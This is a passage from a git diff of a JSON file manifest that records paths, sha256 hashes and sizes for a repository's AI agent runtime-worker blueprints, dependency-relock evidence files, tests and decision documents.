"106a656382fa5139173c3bf2dfad0a09220be1dfbddd44ea090450127e22661a", + "bytes": 190 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-hosted-failure-36737133691.txt", + "sha256": "f1fdb8e6fc3989c3f61d8af4ee4fab61b5ba9fa8efd8951b01dfd0017afb1604", + "bytes": 37365 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-installed-version-inventory.txt", + "sha256": "d1e073a83ed95f20f8436c016e5a2c04efe6a64c55118f720e29011300f991f5", + "bytes": 1040 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-main-repair-pr546.txt", + "sha256": "8a4239286217070ba23adacd1cb840531d6cc065913ebaa36a03c1a9d2d8bc13", + "bytes": 25671 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-maintained-jwt-callers.txt", + "sha256": "f2cb234d51c610eadcc8114d28f0deff618899d2f6fd88d6fc7e28630f68931c", + "bytes": 3328 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-native-candidate-compile.txt", + "sha256": "b25fc55afe7cbb4791c6850406d6ef1fefe7aad87471ac3437214625ac5ac0a0", + "bytes": 249114 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-native-control-compile.txt", + "sha256": "4d2f9b42802e38983449113d8cc9d5655d80f17207b588eb846993f0fe077674", + "bytes": 249121 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-native-imports.txt", + "sha256": "670804dc7aef95981033adda1ac8acb9d023022759504ee57262e64a79e25fe7", + "bytes": 1786 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-native-pip-check.txt", + "sha256": "a13391a6b9383b3bf1ae09fc3da3e567bbe6d87312f2c3def211a96a2cecd0f0", + "bytes": 359 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-native-pristine-reproduction.txt", + "sha256": "d054ccd94dde8ff2434db53d1e61fde2e5b006a828950ebda2bdf89f89c31435", + "bytes": 249121 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-oauthlib-alias-callers.txt", + "sha256": "019d8520664fec5d1c326901aabc988800688649ffae22ecc2624ae190813437", + "bytes": 37489 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-osv-download.txt", + "sha256": "d82600844473eae879ad8d296b3850c313483b042d96fdbc6cd812894140a9a5", + "bytes": 356 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-osv-release.txt", + "sha256": "e13f8810643270828e18aee0420f007ea308411d509d5ad45a69266aa5918c42", + "bytes": 6064 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-osv-source-help.txt", + "sha256": "ab53298e1dd8fafd42c1480caaf75add6c307f3a87a2fa9f0c92c7eb48ef1f93", + "bytes": 5068 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-osv-version.txt", + "sha256": "245b92e6dce308af37eb7ff5ea3c76ba54b1f5e4ee5f57deafb9bbdb5a3f7d9e", + "bytes": 341 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-owned-diff-check.txt", + "sha256": "748a787acf6ae7f176b36197ef18ea0d91be1f860f36f15f8ff46d05599dc503", + "bytes": 186 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-owned-file-publication-scan-after-declared-paths-redaction.txt", + "sha256": "7d7f93e7c5e1343a0549bc5e74ea624ca9e71fb16f5e922b422a6f413777dc09", + "bytes": 7653 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-owned-file-publication-scan.txt", + "sha256": "601a09a523f2fcf87e84dc66b66aee42fe6d98f2ab6b18f5c87daa4548ad5668", + "bytes": 7766 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-pristine-source-verification.txt", + "sha256": "14f8cc5187612148f60de1541046a0844ab3bb6b9dc377090cb5de5138362c1c", + "bytes": 1110 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-pyjwt-215-pypi.txt", + "sha256": "96c2bb91c88b9e2869b62f1efaaeb7df24bd78e5db8c7e267b183557620b6c95", + "bytes": 5725 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-pyjwt-advisory-official.txt", + "sha256": "13345ffd64854f23a1f4db80e2c7d9e75bbdf7101c6de5042621974ea1ed0d4a", + "bytes": 13217 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-pyjwt-advisory-osv.txt", + "sha256": "ec68a691e5b919679732c8600d27c07a719718d0e80f8540e58319e94684ca14", + "bytes": 12178 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-rejected-normal-commit.txt", + "sha256": "dd9c5b92e06074e70581dd5451928e2f8dcc555a6377d970194c95f3dbc91716", + "bytes": 257 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-repository-validation-after-path-sanitization.txt", + "sha256": "004274ab419a392924dfe312dc3cab8704160e7d17c10c4915125df066c51a17", + "bytes": 363 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-repository-validation-after-upstream-example-redaction.txt", + "sha256": "a0d1c9589020c5d48103ae8030bd7467763fba6317b3fea787b589c107820e76", + "bytes": 363 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-repository-validation-before-integration.txt", + "sha256": "4c45bd586ff4760f2de93dbb2bbe950ee5e4d638870a80e5ea4ffd681d700e89", + "bytes": 502 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-repository-validation-final-owned-scope.txt", + "sha256": "7e7b5d9e03774c2fc89106a8560d34c500b8543be3830db32b5bf446a3f6694e", + "bytes": 363 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-requirements.in.txt", + "sha256": "058d660527965a2713aaad24bc56f15e79829a37029dfa2f64f8e8fcb1e16fba", + "bytes": 326 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-runtime-hash-install.txt", + "sha256": "0b8ce270ba574a751ff16d52190b4d5b329918e66e28b11c40cfdfd3bf5a3bee", + "bytes": 4763 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-source-cutoff-policy.txt", + "sha256": "8053b7326bc54ee1910f072f554534525758bd536859f24471ed79d60379acb2", + "bytes": 1428 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-staged-gitleaks-after-public-example-redaction.txt", + "sha256": "d0c69d2dbdc6ad16b9322a36e4f1ac2e08536b8c854fd31429b59f9437293618", + "bytes": 494 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-staged-gitleaks-redacted-report.json", + "sha256": "5f79177d4c8343f9483728f1059830370dad90f6adddbfd22fa677342b93e2df", + "bytes": 658 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-staged-gitleaks-rejection.txt", + "sha256": "8f1979d20d985a9eb7206f747f3c6656664738fbd3a7e5611af5e842f27b7496", + "bytes": 488 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-upstream-hashes.txt", + "sha256": "83d23b7f91491e023d0c2e69f529786ba749ac7e3dbb153d3151dd0a3c7541bd", + "bytes": 1111 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-upstream-sdk-release.txt", + "sha256": "f48602b12057ff9c5f0733c85957fa6f02701cc58fc0d4ded87a569517f8138d", + "bytes": 4030 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-upstream-source-download.txt", + "sha256": "57969232d3b956d421536eee3740e0ce4f1c0ab9b3bbb4e9d4d4824c527b2feb", + "bytes": 376 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-upstream-source-extract.txt", + "sha256": "bb3465f08e61b64b1bb31ac4b21c31bc21666c838c33af72242653d4647a4722", + "bytes": 246 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-upstream-source-repro-extract.txt", + "sha256": "8d8a8b51794ebc7495cb81c340d71081f560945f11403e5c02ab07c398958a49", + "bytes": 252 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-urllib3-file-urllib3-2.8.0-py3-none-any.whl.txt", + "sha256": "2569c745287491f7d0768ac2b039afae7e8c756afc7de0e78fee3417c4eb46b9", + "bytes": 426 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-urllib3-file-urllib3-2.8.0.tar.gz.txt", + "sha256": "b1f213c795eca75598839d0707e32b7c22e2766d93d9a4bdce10cad28709921e", + "bytes": 406 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-urllib3-oauth-literal-sweep.txt", + "sha256": "fcc5ba26431b00ddd8522a75472de8242b3fea4dac4493e2837ce16e9fb749f3", + "bytes": 324 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-urllib3-published-source-identity.txt", + "sha256": "243f20cb85641984d660ba1120a6f4b09b41b88cb7f89a37b3137206ac434012", + "bytes": 1050 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-urllib3-pypi.txt", + "sha256": "5106dea6d766f9dea3a4c3598b0b5fb951170e7634ebc4077ae8229360a9de03", + "bytes": 9760 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-urllib3-release.txt", + "sha256": "c3c73eb2724dafcbcffc7f3bb982ef72c9b887e32f180b0f5f9a64e0b56ca701", + "bytes": 12106 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-urllib3-tag-object.txt", + "sha256": "ba19d552ebbe4bb59ce441c1d721eb9aa9ecdc03510e9ffb331771dd18134fea", + "bytes": 1682 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-urllib3-tag.txt", + "sha256": "a659c30ede244f097d299a8d553f31c9d74e48ace5883f8353db3a3e6fe6a6f4", + "bytes": 544 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-uv-compile-help.txt", + "sha256": "cdd7acbd96b941d539827c6587697ab2f76a2e1b49227d5e7c42363ca3c0ec26", + "bytes": 12247 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-uv-release.txt", + "sha256": "a2aa0212a86e5678bd2c32a27395bb9d1ad4cf445f50e54727fc34e2e9f904e1", + "bytes": 82074 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-uv-version.txt", + "sha256": "8efd87c5c7a972462c1688d06383a5a81a58c78de5d827f68ac2e7ec541ec681", + "bytes": 217 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930.json", + "sha256": "d55309e18f44ae0150fd477594df83b7bf7a552871e0d7122a684c64ea371db4", + "bytes": 52869 + }, { "path": "blueprints/runtime-workers/openhands/evidence/verification.md", "sha256": "51c90be86ab3fb3535f42aeb9227bff1479f101a3232860b47a98765c3e37269", "bytes": 2872 }, + { + "path": "blueprints/runtime-workers/openhands/evidence/wheel-relock-20260930-commands.json", + "sha256": "aa794a4a612821be38d62cf97faeb4b07814c772535ac83c6b9eb3bf17a34917", + "bytes": 27542 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/wheel-relock-20260930-constraints.txt", + "sha256": "bfdcbb60d2ed181956765a665c0303faf389b727c8d755b84e5f2b1c24f1c433", + "bytes": 32789 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/wheel-relock-20260930-jwt-callers.txt", + "sha256": "0b624ccf2ec63ed90a831bb02f7d05a338d490969482bee168179e5ac9a8b775", + "bytes": 3023 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/wheel-relock-20260930-oauthlib-callers-first.txt", + "sha256": "56149cc6f319c70630e6949a3519f5483637bfdaeea2a3af1011c943b228d3ca", + "bytes": 6188 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/wheel-relock-20260930-oauthlib-callers.py.txt", + "sha256": "080aa7cece92c786b7977ade5bf851aa776c31dbebafab98decfc5b1ae0e5960", + "bytes": 7145 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/wheel-relock-20260930-oauthlib-callers.txt", + "sha256": "44300134a28b763a02d17f36f34919084409c5e8288f3adc93987f67a6b4d82f", + "bytes": 37175 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/wheel-relock-20260930-osv-after.json", + "sha256": "54345d5194d238b6017d0f3181f392109ce35023cc6b4bdfa8c134943dcb578e", + "bytes": 124 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/wheel-relock-20260930-osv-before.json", + "sha256": "cb66e322c031410f198c51f6be43ca10092da79f91c293eaf1f6bc0be8834f0c", + "bytes": 266980 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/wheel-relock-20260930-requirements.in.txt", + "sha256": "5c366b72ee59e8ddbda14c01fe794d8456beac33a5e4513544a44ef4c624c3cd", + "bytes": 403 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/wheel-relock-20260930-sources.json", + "sha256": "7829c29474ff23ec7b50c957b03be75fca10935e974749ac054eb58ef8f2aad8", + "bytes": 30584 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/wheel-relock-20260930-tests.txt", + "sha256": "426019d491fb2f4c889226578487d6ff85a9c5a2648e949d38156cb89c3c73d9", + "bytes": 2329 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/wheel-relock-20260930.json", + "sha256": "f49dda8891c4367c47495f767fd1b6366c0659c7ad84d3a0a1b16c68f57c46cf", + "bytes": 21594 + }, { "path": "blueprints/runtime-workers/openhands/evidence/wheel-source-comparison.json", "sha256": "fcbc715b373c55bdd4a14c240ecc423cd338ff1b6a44a0c387929b43e33df325", @@ -9551,12 +11416,12 @@ }, { "path": "blueprints/runtime-workers/openhands/host.py", - "sha256": "c6a609b51403353da7fc16bc131cd2f76904b00f498d9478e30b742e6bc89e4c", - "bytes": 84290 + "sha256": "00551430ef463323706866f65a91a3086af12299259cb6a619e651419e982e3f", + "bytes": 84582 }, { "path": "blueprints/runtime-workers/openhands/install-container.sh", - "sha256": "1b639d729d7a3e2384e39c2817269aaa786615b2806d7d8123b8e18b081f098a", + "sha256": "3824f5dbcfe4751884bcb1699faff3c994a6e17a77b81c5866d49b6565595051", "bytes": 1291 }, { @@ -9566,17 +11431,17 @@ }, { "path": "blueprints/runtime-workers/openhands/install.sh", - "sha256": "8c79bfc0a512ad31653b428e19da458309ff3866cb6ec7d1410c0d2e7109cdd8", + "sha256": "4163d3e0d8eda0d61d2e832d6ffd1690348f71ddf03d1a3c99651635b3b53815", "bytes": 690 }, { "path": "blueprints/runtime-workers/openhands/mcp_guard.py", - "sha256": "b3d6012c8b2e65e3923d64bc39a2cf6ae9ea7042de9d4f6a0c342cfbc69eed03", - "bytes": 1326 + "sha256": "a06d465736789ce9bace5197569ec76c7af20000d45eb8ca89e566f540634ba0", + "bytes": 1639 }, { "path": "blueprints/runtime-workers/openhands/pins.json", - "sha256": "36f9ab6c1b901621d685b6721b789dcbcc3cc0ce4526f9c997772c371cf24464", + "sha256": "73d0465fe1f6b463e68848c447c1124457fe1b5c2132022be543b581d563e6df", "bytes": 4460 }, { @@ -9586,58 +11451,98 @@ }, { "path": "blueprints/runtime-workers/openhands/receipt.py", - "sha256": "f8d04162b554157cf958d72ebc80f9adbc1f07a98a3b39bed4d72a16f0b00cc8", - "bytes": 17709 + "sha256": "08224a7df50ff1593af6d67ba8f94eb236d9716e88907150a9f87750a9805d8d", + "bytes": 23331 }, { "path": "blueprints/runtime-workers/openhands/recipe.py", - "sha256": "8de3c2159a137c477716ba2871bbb9efa5275169f746a84ba5c98c16ecabce77", - "bytes": 6670 + "sha256": "b648c9241c35ab9301c127423695d5018218ba8f901fed8db99e07f211750603", + "bytes": 8450 }, { "path": "blueprints/runtime-workers/openhands/requirements.lock", - "sha256": "e24df8328149c921f751eb93d682b3f5b66eb4efd09bf4b053ffcfca057181e1", - "bytes": 106257 + "sha256": "38c20c899b8d7b08e03a04624daa17ba1fc353533fbff450bb0ac2bddd0832eb", + "bytes": 250484 }, { "path": "blueprints/runtime-workers/openhands/research.md", - "sha256": "ca047a295fe9f6ff5f23544cd10f2cac2687a93ab3eea4e4e351620058a85d9b", - "bytes": 75592 + "sha256": "905f8f5d281da014fc60c1ca056c8bbb0f921c3f725a545f4e20a4a7a3141fa5", + "bytes": 81128 }, { "path": "blueprints/runtime-workers/openhands/run-e2e.sh", - "sha256": "a14cf4b25484b77c5f5b6d3103877d9eae3dee660b087b1e264710dd93c207a4", + "sha256": "5a09ca401ae4719696a7e28e995f4e58f33451308d486e93aa840486ca8eff04", "bytes": 442 }, { "path": "blueprints/runtime-workers/openhands/server_transport.py", - "sha256": "39a26c5588f5865a129c982d0f60c591c4e745b35547816e68328e118cb97ac4", - "bytes": 629 + "sha256": "3c56eff0bb52f899e96ccb0edb09d19b2ace55169484939b962b644325a84eac", + "bytes": 2552 }, { "path": "blueprints/runtime-workers/openhands/worker.py", - "sha256": "ea5d67a538f87feac8a4d0b8a66cfdcbaef44f86a8ee7cb11efc332272bb1f5c", - "bytes": 11141 + "sha256": "210301d91808ed3bd6b81fdafcafa66bd2b9c2052c42fc2a382fef8e3a665808", + "bytes": 17490 }, { "path": "blueprints/runtime-workers/skills/README.md", - "sha256": "b11d264ee2db92432e7e437672a1851306b2ba146464b879ca9637ca90e9e64f", - "bytes": 44742 + "sha256": "c2f63856585e27159a7f6481d3b3df573bd86e67e87d1f3d3fb48432e85f2696", + "bytes": 46333 }, { "path": "blueprints/runtime-workers/skills/freshness-20260927.json", "sha256": "1b2fe2e6f97d279e17590c3d8fb7c0fee188d3e3bb7650993fc68c810a85db14", "bytes": 82752 }, + { + "path": "blueprints/runtime-workers/skills/freshness-20260930-before.json", + "sha256": "3860da4db54746d2d062fab5b30a4d6582230e28042842091e4871a04d50ec58", + "bytes": 83060 + }, + { + "path": "blueprints/runtime-workers/skills/freshness-20260930.json", + "sha256": "296c2e949b38d01331a9cad9d8424c28d11aff0b8b3d68190c67e5235ba06406", + "bytes": 82403 + }, { "path": "blueprints/runtime-workers/skills/manifest.json", - "sha256": "a67adbcde01e3d156a31ef67af1bad6278f7ec57f1274dfd955ca3aaab80b817", - "bytes": 185976 + "sha256": "98dc14fcec4a6dc81b8cedea93ce366bda9ee3d3eac71aa5a729012bf8e77049", + "bytes": 187186 + }, + { + "path": "blueprints/runtime-workers/skills/profiles.json", + "sha256": "856be295b8e460783134bef9f26824697c9044bed53e5dd64875b395e910937a", + "bytes": 20266 + }, + { + "path": "blueprints/runtime-workers/skills/refresh-20260930-native-discovery-negative.txt", + "sha256": "00d0a64edf9292e03877cebb085bf0d666a148dc525b187107e8d6c4fbd4f164", + "bytes": 106 + }, + { + "path": "blueprints/runtime-workers/skills/refresh-20260930-native-discovery.txt", + "sha256": "e07ee4a209821d322d5bbd84bbf61e5399b3810c92a4b2ef9c6d0277434b2530", + "bytes": 234 + }, + { + "path": "blueprints/runtime-workers/skills/refresh-20260930-tests-first.txt", + "sha256": "3aa77a0041f8a58e7bb71881afbecb509103e80b47928c5e6c506d44df777808", + "bytes": 5262 + }, + { + "path": "blueprints/runtime-workers/skills/refresh-20260930-tests.txt", + "sha256": "b2e30d3927f58bed90fcfd348f0e36fd25d6df8bce83bc78d060dfd9eb340346", + "bytes": 4209 + }, + { + "path": "blueprints/runtime-workers/skills/refresh-20260930.json", + "sha256": "a56b9f892500526f259f6e31b8159df486920efa8813ee9e4194622de6d1ac9f", + "bytes": 88843 }, { "path": "blueprints/runtime-workers/skills/research.md", - "sha256": "804e30d507f9ee7d73a5a8a78e2c48274c2ab09e45f4bbff1c14c6ee69c3a2f3", - "bytes": 19776 + "sha256": "89a0383e56d07fce3eea4951322f4dc38ae66dfad05d1abf2486084e32249bb4", + "bytes": 25709 }, { "path": "blueprints/runtime-workers/skills/validation.json", @@ -14886,8 +16791,8 @@ }, { "path": "catalogs/foundation/manifest.json", - "sha256": "5bafe8e14b940cffa918a4976580d23eee964e769b46da9926b174ecc1e5f494", - "bytes": 25723 + "sha256": "5f6d57d2d97618e0e02ac15bc917b9f917928dac82aad1346a99d7e224236825", + "bytes": 26816 }, { "path": "catalogs/foundation/memory-stack-20260925.json", @@ -15689,6 +17594,21 @@ "sha256": "b2d99153c8dffb6169923e9129cfb6e4343cd9f5fc443ad8839fa5f162e20c1e", "bytes": 37375 }, + { + "path": "docs/decisions/2026-09-30-runtime-convergence-followup.md", + "sha256": "45e55239a8a0eca12996cf1e7deb3290c517189dfe47230929a1d79465258638", + "bytes": 35021 + }, + { + "path": "docs/decisions/2026-09-30-runtime-worker-coordination.md", + "sha256": "a00f0272bcba6883181da9d4f9cc9417ef45829563ffc996e4da7e2c02565216", + "bytes": 35469 + }, + { + "path": "docs/decisions/2026-09-30-runtime-worker-qualification.md", + "sha256": "d35dafb5d73df1e2bc84d2ccefb0d0152251de66b710c62aaec3f25bc65d3d1e", + "bytes": 13521 + }, { "path": "docs/decisions/2026-10-01-minimal-owned-source-sync.md", "sha256": "840ee2a8730defade8be31e3fed41b2411207af0c8e5b0313d3d5b07860dc901", @@ -38879,6 +40799,66 @@ "sha256": "208ab9b6b9273cdb21c180845bc5cdcd259dff9e22b8080308b0c00eaa16c144", "bytes": 12542 }, + { + "path": "evidence/artifacts/osv-scope-followup-20260930/litellm-workflow-recheck.json", + "sha256": "68324150a53c112623cc203e4df6cd2b27d28ca2ea558f6f4481cf3218298b71", + "bytes": 6026 + }, + { + "path": "evidence/artifacts/osv-scope-followup-20260930/nas-fba-evidence-index-20260930.txt", + "sha256": "b9dd17b602fca37413e53cda5beeb4d15a3e814cd88f186f78206b4ec37168f3", + "bytes": 36 + }, + { + "path": "evidence/artifacts/osv-scope-followup-20260930/nas-fba-mutants-20260930.txt", + "sha256": "6aa1c51a2513c6c6fb8e1b51dbea64cd8cc29e0c3dea46f1fc4f933ecb4832bc", + "bytes": 5350 + }, + { + "path": "evidence/artifacts/osv-scope-followup-20260930/nas-fba-unittest-20260930.txt", + "sha256": "8df00f874a9b7bd6fe4c6ff33476a1c95f4f57f0fbac4c19a88769a6e4b54884", + "bytes": 258 + }, + { + "path": "evidence/artifacts/osv-scope-followup-20260930/nas-fba-validate-20260930.txt", + "sha256": "88e98c08151e4bff895ab73e76a46afbbafdb490af1d0bf3427d1d2afab2fe56", + "bytes": 161 + }, + { + "path": "evidence/artifacts/osv-scope-followup-20260930/native-split-evidence-index.stdout.txt", + "sha256": "a26f8fb01df537ed9a634e45d29a4b0fb39084139d18b6147500e53e897add17", + "bytes": 36 + }, + { + "path": "evidence/artifacts/osv-scope-followup-20260930/native-split-review.json", + "sha256": "13848d96539a14fe27707c9f8f3deb06143e5a83ea66c561ebe0ffb60dd92bde", + "bytes": 4711 + }, + { + "path": "evidence/artifacts/osv-scope-followup-20260930/native-split-unittest.stderr.txt", + "sha256": "0c1031987a585f65dc0b5f3a98fd58b4d8e5c7cabfc5544f51dc1b88ba52d5cd", + "bytes": 346 + }, + { + "path": "evidence/artifacts/osv-scope-followup-20260930/native-split-validate.stdout.txt", + "sha256": "85c8c93994f1d022e4a681bcc1414f57571d380fc716f4091fa024e0977609ee", + "bytes": 161 + }, + { + "path": "evidence/artifacts/osv-scope-followup-20260930/receipt.json", + "sha256": "2eb54c39f45a4543db4c6acf1a3f0c9038891948a2a9d7dac820e46ab28e76c4", + "bytes": 3125 + }, + { + "path": "evidence/artifacts/osv-scope-followup-20260930/source-reconciliation.json", + "sha256": "09b581401d0a172a6baeee59f7680e88d69136cfc972e501a107bde94f459aec", + "bytes": 3726 + }, + { + "path": "evidence/artifacts/osv-scope-followup-20260930/workflow-binding-addendum.json", + "sha256": "d97875056b8879220926294ea3a86121e6ca8a37e7065eb3845d5a5fdbc72cc7", + "bytes": 4525 + }, { "path": "evidence/artifacts/portable-claude-native-qualification-20260921/angle1-upstream.json", "sha256": "d9d5d282a45d2b7e39b7cffeddaf73e50f07d24344cd77cff0484a33041cc756", @@ -41589,6 +43569,36 @@ "sha256": "dd2e7455b7a9b791730242dec4bf0eb369e6b2d10e1834dd91aeefe8cf6e9092", "bytes": 3721 }, + { + "path": "evidence/artifacts/runtime-roster-20260930/README-deerflow.md", + "sha256": "372dcfb7aaa1feba4f6f4ccaa6e32d4b672353542a8fac3d38a4103fc05cec9c", + "bytes": 5165 + }, + { + "path": "evidence/artifacts/runtime-roster-20260930/README.md", + "sha256": "f40f45374ff5fb2f85849c43b2935df56849527de23c709cb7521046e832faf3", + "bytes": 3345 + }, + { + "path": "evidence/artifacts/runtime-roster-20260930/crawl4ai-native.json", + "sha256": "d2505dcf00f84b10b0de59c00a08a8f14540a2b5ef2e80879c1d8b118c25b11d", + "bytes": 7774 + }, + { + "path": "evidence/artifacts/runtime-roster-20260930/deerflow-native.json", + "sha256": "f18cbad953e7cee73d059eaa4624ea8182c3fd522e1067d2c906b5503c2c7fe8", + "bytes": 46959 + }, + { + "path": "evidence/artifacts/runtime-roster-20260930/gpt-researcher-native.json", + "sha256": "618085cdf4664cb81658d3577986ff622f9fbb85cb2b817022238eec08f45a3f", + "bytes": 7804 + }, + { + "path": "evidence/artifacts/runtime-roster-20260930/lock-scan-and-nltk-scope.json", + "sha256": "e809b4d03c4300aa5e24c31ffc246233ec204273732a20eb205354d79ae01f21", + "bytes": 39015 + }, { "path": "evidence/artifacts/runtime-sdk-20260930/README.md", "sha256": "70059a0b57eb1aae9bb62c04ffbbc60e4119381e777eba5290ad12c23f66f3bd", @@ -41614,6 +43624,16 @@ "sha256": "4878a634b1b6dcd910150583fd701a2997b7233313f66256ac3673c7062a2cb4", "bytes": 7684 }, + { + "path": "evidence/artifacts/runtime-sol-routing-20261002/dashboard-ci-repair.json", + "sha256": "7c7a7398d6ee6a369244ebd594b03b6774b8ac867e249622bd327d4f6794027a", + "bytes": 1777 + }, + { + "path": "evidence/artifacts/runtime-sol-routing-20261002/receipt.json", + "sha256": "3a4083952ce464f489c6e12a7867b1311e26c0e6bbd53a069edf6e8eb3fc4752", + "bytes": 5843 + }, { "path": "evidence/artifacts/sdk-runtime-coverage-20260922/agent-sdks.json", "sha256": "e494120421102202312b567d699025c96e85c0e925a88a143c4ea11af2a791a2", @@ -48306,8 +50326,8 @@ }, { "path": "observability/grand-dashboard/state.json", - "sha256": "e7136a2188ca4e7dcfe57affad586ff45faf297f3d71aab66fa60f92cb61f6bc", - "bytes": 19333 + "sha256": "a3285c1673915648ae2f353664c2adb5294e656992ebb4d617f6031dac35aaef", + "bytes": 20543 }, { "path": "observability/memory-scheduled-20260923.json", @@ -49389,6 +51409,11 @@ "sha256": "ebf44a8f8b263c2271aa29fe6f284678a0bb2bdf5700c664522ec6504b1242c7", "bytes": 23194 }, + { + "path": "tests/test_openhands_150.py", + "sha256": "52e1beefe24bfe03c298ae4d10a17d56388626503bc39c7f7b09a5ffbd840270", + "bytes": 17216 + }, { "path": "tests/test_openhands_lock_binding.py", "sha256": "60ff8e66e308d623ea229578dc2ec66559ef91118bd237feccbca86fecf21b8f", @@ -49406,8 +51431,8 @@ }, { "path": "tests/test_osv_lockfile_coverage.py", - "sha256": "31780dc60ea10f55597dbc984628fa22019a0a0c3cc63727f2a684fff2ea383e", - "bytes": 46337 + "sha256": "e9b5bb89da004eed02a152c3fab8d0c73029d9da8263cb475f613020e4fdbec4", + "bytes": 47884 }, { "path": "tests/test_path_safety.py", @@ -49489,10 +51514,25 @@ "sha256": "d1f61612522dc3de6bb78b9bf953668d920fe3778567e935d1b609131dab87ee", "bytes": 58079 }, + { + "path": "tests/test_runtime_worker_crawl4ai.py", + "sha256": "3f1c03410adee4ffa5e7417bf7e822944731d217df0683f92cf0b3940f12583e", + "bytes": 39755 + }, + { + "path": "tests/test_runtime_worker_deerflow.py", + "sha256": "aaa21a827e3dc7d3719051e76a8727b33a6438317509eea66adaf9ceab6326d2", + "bytes": 65244 + }, + { + "path": "tests/test_runtime_worker_gpt_researcher.py", + "sha256": "b7c9cc3ec10997a03c5b9e337044fc9305c357ada18fb6480869a07df4fa6413", + "bytes": 56663 + }, { "path": "tests/test_runtime_worker_openhands.py", - "sha256": "1103b1cd52507997cd6a3c628970d7fe46007fc0ddcf3fb43027f53f05a4b981", - "bytes": 220324 + "sha256": "1f79392caed23c3ac5e9c493c7b4e32d6db909138a7da2437b35f5fee14f0083", + "bytes": 223665 }, { "path": "tests/test_runtime_worker_skills.py", @@ -49876,8 +51916,8 @@ }, { "path": "tools/sota-convergence/blind_checkout.py", - "sha256": "0b8785d20a0bad420d3b178874241fc728acc81a1bd5675eab4e1d079138dfaf", - "bytes": 55711 + "sha256": "5709f3609ccdf43f4fdf0ad7e55d1036f63b996aea77b0347b9d8db0b97098c7", + "bytes": 56156 }, { "path": "tools/sota-convergence/build_manifest.py", @@ -50271,6 +52311,7 @@ "blueprints/convergence-practice/local-inference-latest-20260926/experiment.json", "blueprints/convergence-practice/gpt6-family-tiering-20260926/experiment.json", "blueprints/convergence-practice/omniroute-routing-20260928/experiment.json", - "blueprints/convergence-practice/wsl-new-distro-image-20261001/experiment.json" + "blueprints/convergence-practice/wsl-new-distro-image-20261001/experiment.json", + "blueprints/convergence-practice/runtime-image-browser-20260930/experiment.json" ] } diff --git 